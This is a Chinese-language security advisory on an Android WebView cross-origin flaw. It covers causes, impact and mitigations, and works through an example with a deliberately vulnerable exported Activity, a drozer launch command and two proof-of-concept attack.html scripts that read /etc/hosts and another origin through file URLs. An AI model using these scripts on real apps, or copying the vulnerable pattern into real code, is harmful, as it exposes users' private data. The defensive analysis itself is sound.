Android WebView跨域访问漏洞

一、漏洞名称
Android WebView存在跨域访问漏洞
 
二、漏洞描述
       Android WebView存在跨域访问漏洞。该漏洞产生的原因是由于Android应用WebView开启了file域访问，且允许file域访问http域，未对file域的路径做严格限制所致。攻击者可以利用漏洞，远程获取APP中的所有本地敏感数据。
 
三、漏洞危害
攻击者利用该漏洞，可远程获取用户隐私数据（包括手机应用数据、照片、文档等敏感信息），还可窃取用户登录凭证，在受害者毫无察觉的情况下实现对APP用户账户的完全控制。由于该组件广泛应用于Android平台，导致大量APP受影响，构成较为严重的攻击威胁。
 
四、漏洞情况分析
WebView是Android用于显示网页的控件，是一个基于Webkit引擎、展现web页面的控件。WebView控件功能除了具有一般View的属性和设置外，还可对URL请求、页面加载、渲染、页面交互进行处理。
　　该漏洞产生的原因是在Android应用中，WebView开启了file域访问，允许file域访问http域，且未对file域的路径进行严格限制所致。攻击者通过URL Scheme的方式，可远程打开并加载恶意HTML文件，远程获取APP中包括用户登录凭证在内的所有本地敏感数据。
　　漏洞触发成功前提条件如下：
　　　　1.WebView中setAllowFileAccessFromFileURLs 或setAllowUniversalAccessFromFileURLs API配置为true；
　　　　2.WebView可以直接被外部调用，并能够加载外部可控的HTML文件。

五、影响范围
漏洞影响使用WebView控件，开启file域访问并且未按安全策略开发的Android应用APP。
 

六、漏洞修复建议，缓解措施

　厂商暂未发布解决方案，临时解决方案如下：
1. file域访问为非功能需求时，手动配置setAllowFileAccessFromFileURLs或setAllowUniversalAccessFromFileURLs两个API为false。
（Android4.1版本之前这两个API默认是true，需要显式设置为false，因未找到设置的接口，4.1版本之前暂不做操作，4.1版本后需要防止显示设置为true，如果设置为true的话，防止loadUrl的传参url为可被攻击的）
2. 若需要开启file域访问，则设置file路径的白名单，严格控制file域的访问范围，具体如下：

（1）固定不变的HTML文件可以放在assets或res目录下，file:///android_asset和file:///android_res 在不开启API的情况下也可以访问；

（2）可能会更新的HTML文件放在/data/data/(app) 目录下，避免被第三方替换或修改；

（3）对file域请求做白名单限制时，需要对“../../”特殊情况进行处理，避免白名单被绕过。
3. 避免App内部的WebView被不信任的第三方调用。排查内置WebView的Activity是否被导出、必须导出的Activity是否会通过参数传递调起内置的WebView等。
4. 建议进一步对APP目录下的敏感数据进行保护。客户端APP应用设备相关信息（如IMEI、IMSI、Android_id等）作为密钥对敏感数据进行加密。使攻击者难以利用相关漏洞获得敏感信息。





七、相关参考
参考1.     http://www.cnvd.org.cn/webinfo/show/4365
参考2.     http://www.cnvd.org.cn/flaw/show/CNVD-2017-36682
参考3.     http://blogs.360.cn/360mobile/2014/09/22/webview%E8%B7%A8%E6%BA%90%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/


八、举例说明：WebView中的file协议。（http://blogs.360.cn/360mobile/2014/09/22/webview跨源攻击分析/）
我们通过一个简单示例和4个API来理解WebView中file协议的安全性，示例代码如下，4个API见4行注释，分别用（1）–（4）表示。
public class WebViewActivity extends Activity {
    private WebView webView;
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_webview);
        webView = (WebView) findViewById(R.id.webView1);
        //webView.getSettings().setAllowFileAccess(false);                    (1)
        //webView.getSettings().setJavaScriptEnabled(true);                   (2)
        //webView.getSettings().setAllowFileAccessFromFileURLs(true);       (3)
        //webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (4)
        Intent i = getIntent();
        String url = i.getData().toString();
        webView.loadUrl(url);
    }
 }
其中WebViewActivity为导出Activity，当其它应用启动此Activity时intent中的data直接被当做url来加载。通过drozer可以很方便的启动WebViewActivity，运行如下所示的命令，WebViewActivity会加载file:///data/local/tmp/attack.html

dz> run app.activity.start
–component com.example.webviewtest com.example.webviewtest.WebViewActivity
–action android.intent.action.VIEW
–data-uri file:///data/local/tmp/attack.html


我们知道因为sandbox的存在, Android中的各应用是相互隔离的,在一般情况下A应用是不能访问B应用的文件的，但不正确的使用WebView可能会打破这种隔离，从而带来应用数据泄露的威胁，即A应用可以通过B应用导出的Activity让B应用加载一个恶意的file协议的url,从而可以获取B应用的内部私有文件。我们分别分析4个API对WebView安全性的影响。
1）setAllowFileAccess
通过这个API可以设置是否允许WebView使用File协议，默认值是允许，如果不允许使用File协议，则不会存在下述的各种跨源的安全威胁，但同时也限制了webview的功能，使其不能加载本地的html文件。禁用File协议后，运行上述drozer命令会得到下图所示输出，图中所示的文件是存在的，但WebView禁止加载此文件，移动版的Chrome默认禁止加载file协议的文件。


2）setJavaScriptEnabled
通过此API可以设置是否允许WebView使用JavaScript,默认是不允许，但很多应用，包括移动浏览器为了让WebView执行http协议中的javascript，都会主动设置允许WebView执行Javascript，而又不会对不同的协议区别对待，比较安全的实现是如果加载的url是http或https协议，则启用javascript,如果是其它危险协议，如是file协议，则禁用javascript。禁用file协议的javascript可以很大程度上减小跨源漏洞对WebView的威胁。当然，禁用file协议的javascript执行并不能完全杜绝跨源文件泄露。例如，有的应用实现了下载功能，对于不可渲染的页面，会自动下载到sd卡中，由于sd卡中的文件所有应用都可以访问，于是可以通过构造一个file URL指向被攻击应用的私有文件，然后用此URL启动Activity,就可以在SD卡中读取被攻击应用的私有文件了。


3） setAllowFileAccessFromFileURLs
通过此API可以设置是否允许通过file url加载的Javascript读取其他的本地文件，这个设置在JELLY_BEAN以前的版本默认是允许，在JELLY_BEAN及以后的版本中默认是禁止的。下面的代码片段为对应于与drozer命令中的attack.html。

<script>
function loadXMLDoc()
{
    var arm = "file:///etc/hosts";
    var xmlhttp;
    if (window.XMLHttpRequest)
    {
        xmlhttp=new XMLHttpRequest();
    }
    xmlhttp.onreadystatechange=function()
    {
        //alert("status is"+xmlhttp.status);
        if (xmlhttp.readyState==4)
        {
              console.log(xmlhttp.responseText);
        }
    }
    xmlhttp.open("GET",arm);
    xmlhttp.send(null);
}
loadXMLDoc();
</script>

当AllowFileAccessFromFileURLs为true是，上述javascript可以成功读取/etc/hosts的内容，但设置为false时，上述脚本执行会导致如下错误，表示浏览器禁止从file url中的javascript读取其它本地文件。

I/chromium(27749): [INFO:CONSOLE(0)] “XMLHttpRequest cannot load file:///etc/hosts. Cross origin requests are only supported for HTTP.”, source: file:///data/local/tmp/attack.html


4） setAllowUniversalAccessFromFileURLs
通过此API可以设置是否允许通过file url加载的Javascript可以访问其他的源，包括其他的文件和http,https等其他的源。这个设置在JELLY_BEAN以前的版本默认是允许，在JELLY_BEAN及以后的版本中默认是禁止的。如果此设置是允许，则setAllowFileAccessFromFileURLs不起做用，假设下面的代码片段为对应于与drozer命令中的attack.html。

<script>
function loadXMLDoc()
{
    var arm = "http://www.so.com";
    var xmlhttp;
    if (window.XMLHttpRequest)
    {
        xmlhttp=new XMLHttpRequest();
    }
    xmlhttp.onreadystatechange=function()
    {
        //alert("status is"+xmlhttp.status);
        if (xmlhttp.readyState==4)
        {
             console.log(xmlhttp.responseText);
        }
    }
    xmlhttp.open("GET",arm);
    xmlhttp.send(null);
}
loadXMLDoc();
</script>

当AllowFileAccessFromFileURLs为true是，上述javascript可以成功读取http://www.so.com的内容，但设置为false时，上述脚本执行会导致如下错误，表示浏览器禁止从file url中的javascript访问其他源的资源。

I/chromium(28336): [INFO:CONSOLE(0)] “XMLHttpRequest cannot
load http://www.so.com/. Origin null is not allowed by
Access-Control-Allow-Origin.”, source: file:///data/local/tmp/attack.html



九、安全建议
1.对于不需要使用file协议的应用，禁用file协议
2.对于需要使用file协议的应用，禁止file协议调用javascript